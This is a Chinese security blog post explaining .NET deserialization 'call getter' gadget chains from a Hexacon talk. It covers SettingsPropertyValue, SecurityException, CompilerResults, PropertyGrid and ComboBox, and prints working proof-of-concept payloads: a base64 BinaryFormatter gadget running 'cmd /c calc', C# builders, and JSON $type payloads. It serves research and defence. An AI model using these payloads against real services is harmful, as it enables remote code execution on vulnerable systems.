.Net反序列化之Call Getter

admin 2023年12月23日11:06:54评论19 views字数 10308阅读34分21秒阅读模式
.Net反序列化之Call Getter

引言

近日,Hexacon会议上安全研究员Piotr Bazydło公布了.Net反序列化的研究,其研究内容包括SolarWinds的一系列反序列化漏洞发现和黑名单的绕过,不安全的序列化利用,.net framework和.net5利用链。在.Net Framework这一方面,他把不安全的序列化gadget结合call getter gadget起来,形成了新的反序列化链,绕过了传统反序列化攻击的防护思路,扩充了攻击面。本文主要对不安全的序列化和call getter反序列化链加以介绍。

01 不安全的序列化

设想有这样一种应用场景,服务端接收序列化的字符串,反序列化为对象obj后,对obj进行修改,然后再序列化,发给客户端。那么可以利用的点如图所示。传递给服务器一个序列化对象,这个对象包含了恶意的getter,反序列化会正常进行,不会执行恶意操作,但当再次序列化时,便会触发getter的调用,从而造成恶意操作的执行。当然,这种场景下使用的formater都是基于setter、getter的,如Json.Net,而BinaryFormatter、SoapFormatter等不属于。这种利用方式与以往是不同的,通常反序列化链在反序列化时就触发了恶意操作,而此种利用方式是在序列化时触发恶意操作。

.Net反序列化之Call Getter

议题提出了3个可以在该场景下利用的序列化链:SettingsPropertyValue、SecurityException和CompilerResults。

1. SettingsPropertyValue

该类 get_PropertyValue 方法在特定条件下会调用BinaryFormater.Deserialize(),而这个特定条件用户可以控制满足,因此可以调用任意binaryformater的gadget链。

首先Deserialized属性必须是false。

.Net反序列化之Call Getter

其次,SerializedValue不能为string。

.Net反序列化之Call Getter

这条链在.net core中是失败的,原因就在于下图,检查了BinaryFormatter是否被允许,而在.net5及以上,BinaryFormatter默认被禁止调用。

.Net反序列化之Call Getter

最终payload如下,执行便会弹计算器。

SettingsProperty  settingsProperty = new SettingsProperty("Test");SettingsPropertyValue settingsPropertyValue = new SettingsPropertyValue(settingsProperty);settingsPropertyValue.SerializedValue = Convert.FromBase64String("AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=");settingsPropertyValue.Deserialized = false;var s1 = JsonConvert.SerializeObject(settingsPropertyValue, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.Auto });

异常报错是因为反序列化执行后返回了null,PropertyValue没获取到值。

.Net反序列化之Call Getter

2. SecurityException

该类get_Method 方法会直接调用BinaryFormater.Deserialize(),但序列化链使用需要满足两个条件。

  • 服务端使用的反序列化器支持Serializable;
  • 服务端使用的序列化器不支持Serializable或者getter调用优先级高于Serializable;
.Net反序列化之Call Getter
.Net反序列化之Call Getter

为什么需要这样的条件,是因为该类实现了ISerialize接口,实现了Iseriazlie接口的类都含有特定结构的构造函数和GetObjectData函数,GetObjectData用于序列化获取成员值,特殊构造函数用于反序列化给成员赋值。

假定应用场景里反序列化器和序列化器都是基于setter/getter,那么反序列化时会触发set_method函数,如下图所示,它会调用SecurityException.ObjectToByteArray把Method传递的值进行二进制序列化,而Mehod已经是序列化一次的,相当于现在m_serializedMethodInfo储存的是两次序列化后的结果。接着序列化调用get_Method,会把m_serializedMethodInfo做一次反序列化,整个过程结束,Method值相当于根本没改变,并没有被反序列化。

.Net反序列化之Call Getter

如果上述场景下,反序列化器支持Serializable接口,那么在反序列化时,就进入构造函数而不是setter,可以看到,构造函数里直接把Method值赋给了m_serializedMethodInfo。

.Net反序列化之Call Getter

序列化器不支持ISerializeable接口或者getter调用级别比Iserializeable的GetObjectData高,那么就会触发get_Method执行,从而反序列化传递的payload。

payload,使用的是JavaScriptSerializer,不支持Iserializeable接口。

SecurityException securityException = new SecurityException();FieldInfo f =  typeof(SecurityException).GetField("m_serializedMethodInfo", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);f.SetValue(securityException,Convert.FromBase64String("AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs="));

var s =new JavaScriptSerializer().Serialize(securityException);

3. CompilerResults

该类 get_CompiledAssembly 会导致任意dll的远程加载。需要注意的是,Assembly.LoadFile在 .NET Framework 4以后默认禁止远程加载,而.net 5以上是可以的。加载的dll可以是assembly,也可以是native Dll。虽然nativedll中dllmain中代码会执行,但是加载nativedll会报PE格式错误。

.Net反序列化之Call Getter

02 call getter反序列化链

除了序列化利用链,议题还扩充了反序列化利用链方式,通过结合4个强大的call getter gadget和序列化利用链的2个gaget,便可以实现8种新的rce反序列化利用链,进一步扩大了攻击面。

所谓call getter,就是可以调用任意属性的getter方法。下表展示了4条攻击链及适用范围。

.Net反序列化之Call Getter

1. System.Windows.Forms.PropertyGrid

该链会迭代调用指定object可用的getter。利用payload如下

{   "$type":"System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version =  4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089",   "SelectedObjects":   [     {     "your object"     }   ]}

2. System.Windows.Forms.ComboBox

该链会调用指定object的MaliciousMember属性的getter。

{ "$type":"System.Windows.Forms.ComboBox, System.Windows.Forms,Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "Items": [   {   "your":"object"   } ], "DisplayMember":"MaliciousMember", "Text":"whatever"}

原理: 反序列化器调用set_Text setter,该setter会调用Items中指定对象的指定成员getter,指定成员由DisplayMember字段设置。

set_Text如下,第一个if判断会直接为true,具体查看ComboBox构造函数。走到红框处调用 ListControl.GetItemText ,其参数selectedItem是 Items 中的对象。

.Net反序列化之Call Getter

GetItemText会调用FilterItemOnProperty,这个函数会从触发我们设置的DisplayMember字段对应的getter。

.Net反序列化之Call Getter

Find函数根据DisplayMemeber寻找PropertyDescriptor

GetValue则会触发DisplayMemeber的getter

.Net反序列化之Call Getter

System.Windows.Forms.ListBox、System.Windows.Forms.CheckedListBox 和ComboBox几乎一样。

把4个call getter gadget和2个序列化gadget结合起来,就可以形成常规的反序列化利用链。ysoserial.net工具已经实现了上述利用方式,对应GetterCompilerResultsGenerator、GetterSecurityExceptionGenerator、GetterSettingsPropertyValueGenerator。

03 总结

白皮书关于序列化与反序列化的大部分内容是基于.Net Framework的,它提到在.Net Core中,序列化链利用存在诸多限制,目前只有在WPF或引入了PresentationFramework.dll的情况下,存在反序列化利用链,web应用尚不存在或未公开。但在后续研究中,可以考虑从影响力大的、流行度高的第三方库入手,寻找漏洞。

附录 参考文献

[1]https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf

[2]https://learn.microsoft.com/en-us/dotnet/api/system.security.securityexception?view=netframework-4.7.1

.Net反序列化之Call Getter

原文始发于微信公众号(M01N Team):.Net反序列化之Call Getter

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月23日11:06:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   .Net反序列化之Call Getterhttps://cn-sec.com/archives/2229723.html

发表评论

匿名网友 填写信息